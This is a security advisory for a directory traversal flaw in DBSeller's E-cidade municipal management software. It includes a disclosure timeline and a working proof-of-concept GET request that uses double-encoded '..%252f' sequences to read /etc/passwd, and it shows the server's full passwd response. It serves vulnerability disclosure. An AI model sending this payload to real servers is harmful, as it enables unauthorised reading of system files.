E-Cidade Directory Traversal

`Vendor: DBSeller (www.dbseller.com.br)  
Product: E-cidade - Software Publico de Gestão Municipal  
Published: 02/19/2016  
Discovered by vesp3r ([email protected])  
  
  
  
Product Description  
--------------------  
  
Intended to computerize the management of Brazilian Municipalities.   
This includes computerized integration between municipal entities: City Hall, Town Hall, Local Government, Foundations and others.  
The economy of resources is only one of the advantages in the adoption of e-cidade and the freedom of choice of suppliers and ensuring   
continuity of the system, once supported by the Ministry of Planning.  
  
Advisory Timeline  
-----------------  
  
02/18/2016 - Vendor notified  
02/19/2016 - Vendor asked for more details  
02/19/2016 - Information and PoC sent  
02/20/2016 - Advisory was published  
  
Vulnerability  
-------------  
An unauthenticated user is able to access files and directories,   
the vulnerability can be exploited by issuing a specially crafted HTTP GET   
request utilizing a simple url encoding bypass(..%252f)  
  
Proof of Concept  
---------------  
  
GET /e-cidade/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1  
[Snip...]  
Accept-Encoding: gzip, deflate  
Connection: close  
  
  
  
  
Response:  
  
HTTP/1.1 200 OK  
Date: Fri, 19 Feb 2016 02:27:29 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.14  
Vary: Accept-Encoding  
Content-Length: 1351  
Connection: close  
Content-Type: text/plain; charset=ISO-8859-1  
X-Pad: avoid browser bug  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
syslog:x:101:103::/home/syslog:/bin/false  
messagebus:x:102:105::/var/run/dbus:/bin/false  
whoopsie:x:103:108::/nonexistent:/bin/false  
landscape:x:104:110::/var/lib/landscape:/bin/false  
postgres:x:105:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash  
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin  
ecidade:x:1001:1001:eCidade,,,:/home/ecidade:/bin/bash  
dbseller:x:1000:1000:DBSeller,,,:/home/dbseller:/bin/bash  
postfix:x:107:116::/var/spool/postfix:/bin/false  
  
  
  
  
  
  
`